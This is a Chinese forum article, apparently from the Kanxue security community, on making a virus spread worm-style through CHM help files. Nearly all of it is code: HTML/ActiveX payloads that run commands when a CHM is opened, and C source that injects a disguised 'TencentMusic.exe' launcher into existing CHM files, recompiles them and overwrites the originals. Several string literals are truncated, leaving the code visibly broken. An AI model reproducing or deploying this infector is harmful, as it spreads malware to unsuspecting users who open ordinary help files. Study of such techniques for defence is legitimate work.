其他
利用chm文件实现病毒程序的蠕虫式横向传播
本文为看雪论坛优秀文章
一 • 引言
二 • 需求分析与初步设计
三 • 具体实现
<div id="t0"></div><OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',calc.exe'></OBJECT>demo.Click();</SCRIPT><div id="t0"></div><OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow</OBJECT><OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value = ',path'></OBJECT><SCRIPT>var str=location.href;var commodStr0 ='<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1'<PARAM name="Command" value="ShortCut0">' +'<PARAM name="Button" value="Bitmap::shortcut0">' +'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile'</OBJECT>';var sleep = function(time) { var startTime = new Date().getTime() + parseInt(time, 10); while (new Date().getTime() < startTime) {}};copy.Click();sleep(100);document.getElementById('t0').innerHTML = commodStr0;decompile.Click();sleep(100);call.Click();</SCRIPT>int InitEnv() { char szHhcPath[MAX_PATH]; char szHhaPath[MAX_PATH]; GetTempPath(MAX_PATH, szTempPath); strcpy(szHhcPath, szTempPath); strcat(szHhcPath, "hhc.exe"); strcpy(szHhaPath, szTempPath); strcat(szHhaPath, "hha.dll"); if (ReleaseRes(IDR_BIN2, szHhcPath) && ReleaseRes(IDR_BIN3, szHhaPath)) { return TRUE; } return FALSE;}void InsertCode(char* szChmPath, char* szOutDir) { // 遍历目录 char szFindPath[MAX_PATH] = { 0 }; char szHhcPath[MAX_PATH] = { 0 }; char szHhkPath[MAX_PATH] = { 0 }; // 临时文件路径 char szTmpPath[MAX_PATH] = { 0 }; // 一行文本数据 char szLine[MAX_PATH] = { 0 }; // 首页文件的绝对路径 char szFirstPath[MAX_PATH] = { 0 }; // 临时文件 FILE* pTmp; // 是否已插入数据 int bInsert = FALSE; //ReleaseRes() strcat(szFindPath, (char*)szOutDir); strcat(szFindPath, "\\*"); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile != INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { continue; } char* suffix = strrchr(wfd.cFileName, '.'); // 在编译内容文件HHK中新增捆绑文件 if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) { bInsert = FALSE; sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName); sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk"); FILE* pHhc = fopen(szHhkPath, "r+"); FILE* pTmp = fopen(szTmpPath, "w"); while (fgets(szLine, MAX_PATH, pHhc)) { // 在第一次出现"<LI> <OBJECT type="的上一行插入数据 if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) { fputs(szInsertHhk, pTmp); bInsert = TRUE; } fputs(szLine, pTmp); } fclose(pTmp); fclose(pHhc); // 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szHhkPath, FALSE); DeleteFile(szTmpPath); } // 在目录文件HHC中获取首页文件并插入代码 if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) { sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName); FILE* pHhc = fopen(szHhcPath, "r"); strcpy(szFirstPath, szOutDir); strcat(szFirstPath, "\\"); while (fgets(szLine, MAX_PATH, pHhc)) { // 第一次出现"<param name="Local" value="处为首页文件 if (strstr(szLine, "<param name=\"Local\" value=")) { int dwLineLen = strlen(szLine); int dwIndex = strlen("\t\t<param name=\"Local\" value=\""); // 去除前缀和后面的" ">\n " strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3); StrReplace(szFirstPath, "/", "\\"); break; } } fclose(pHhc); bInsert = FALSE; memset(szTmpPath, 0, sizeof(szTmpPath)); strcpy(szTmpPath, szOutDir); strcat(szTmpPath, "\\tmp.html"); pTmp = fopen(szTmpPath, "w"); FILE* pFirstFile = fopen(szFirstPath, "r"); while (fgets(szLine, MAX_PATH, pFirstFile)) { // 在第一次出现"<html>"的下一行插入数据 fputs(szLine, pTmp); if (strstr(szLine, "<html>") && !bInsert) { // 添加 TencentMusic.exe fputs(szFirstPage, pTmp); bInsert = TRUE; } } fclose(pFirstFile); fclose(pTmp); // 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szFirstPath, FALSE); DeleteFile(szTmpPath); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile);}char szInsertHhk[1024] = "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"TencentMusic\">\n" \ "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"qqmusic\">\n" \ "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcp100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcr100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n" \ "\t\t</OBJECT>\n";char szFirstPage[2048] = "<div id=\"t0\">\n" \ "</div>\n" \ "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\"value=',xcopy,C:\\Windows\\SysWOW64\\hh.exe /N C:\\Users "</OBJECT>\n" \ "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\"value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus "</OBJECT>\n" \ "<SCRIPT>\n" \ "var str=location.href;\n" \ "var commodStr0 =\n" \ "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\" "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n" \ "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n" \ "'<PARAM name=\"Item1\" value=\",C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\ "'</OBJECT>';\n" \ "var sleep = function(time) {\n" \ " var startTime = new Date().getTime() + parseInt(time, 10);\n" \ " while (new Date().getTime() < startTime) {}\n" \ "};\n" \ "copy.Click();\n" \ "sleep(100);\n" \ "document.getElementById('t0').innerHTML = commodStr0;\n" \ "decompile.Click();\n" \ "sleep(100);\n" \ "call.Click();\n" \ "</SCRIPT>\n";void ChmCompile(char* szChmPath, char* szOutDir) { char szFindPath[MAX_PATH] = { 0 }; char szHhpPath[MAX_PATH] = { 0 }; char szChmName[MAX_PATH] = { 0 }; char szHhkName[MAX_PATH] = { 0 }; char szHhcName[MAX_PATH] = { 0 }; char szOptions[MAX_PATH] = { 0 }; char szCompiledFile[MAX_PATH] = { 0 }; char szContentsFile[MAX_PATH] = { 0 }; char szIndexFile[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szCompileCmd[MAX_PATH] = { 0 }; char szNewChmPath[MAX_PATH] = { 0 }; strcat(szFindPath, szOutDir); strcat(szFindPath, "\\*"); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile != INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { continue; } char* suffix = strrchr(wfd.cFileName, '.'); if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) { strcpy(szHhkName, wfd.cFileName); } if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) { strcpy(szHhcName, wfd.cFileName); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile); strcpy(szChmName, strrchr(szOutDir, '\\') + 1); strcpy(szHhpPath, szOutDir); strcat(szHhpPath, "\\"); strcat(szHhpPath, szChmName); strcat(szHhpPath, ".hhp"); // 创建hhp文件 FILE* pHhpFile = fopen(szHhpPath, "wb+"); strcpy(szOptions, "[OPTIONS]\n"); fwrite(szOptions, 1, strlen(szOptions), pHhpFile); strcpy(szCompiledFile, "Compiled file="); strcat(szCompiledFile, szChmName); strcat(szCompiledFile, ".chm\n"); fwrite(szCompiledFile, 1, strlen(szCompiledFile), pHhpFile); strcpy(szContentsFile, "Contents file="); strcat(szContentsFile, szHhcName); strcat(szContentsFile, "\n"); fwrite(szContentsFile, 1, strlen(szContentsFile), pHhpFile); strcpy(szIndexFile, "Index file="); strcat(szIndexFile, szHhkName); strcat(szIndexFile, "\n"); fwrite(szIndexFile, 1, strlen(szIndexFile), pHhpFile); strcpy(szTitle, "Title="); strcat(szTitle, szChmName); strcat(szTitle, "\n"); fwrite(szTitle, 1, strlen(szTitle), pHhpFile); fflush(pHhpFile); fclose(pHhpFile); strcpy(szCompileCmd, szTempPath); strcat(szCompileCmd, "hhc.exe "); strcat(szCompileCmd, szHhpPath); // 编译生成修改后的chm system(szCompileCmd); // 用修改后的chm替换原本的chm //DeleteFile(szChmPath); strcpy(szNewChmPath, szOutDir); strcat(szNewChmPath, "\\"); strcat(szNewChmPath, szChmName); strcat(szNewChmPath, ".chm"); CopyFile(szNewChmPath, szChmPath, FALSE); DeleteDir(szOutDir);}四 • 结语
看雪ID：某警官
https://bbs.pediy.com/user-home-856450.htm
*本文由看雪论坛 某警官 原创，转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”，了解更多！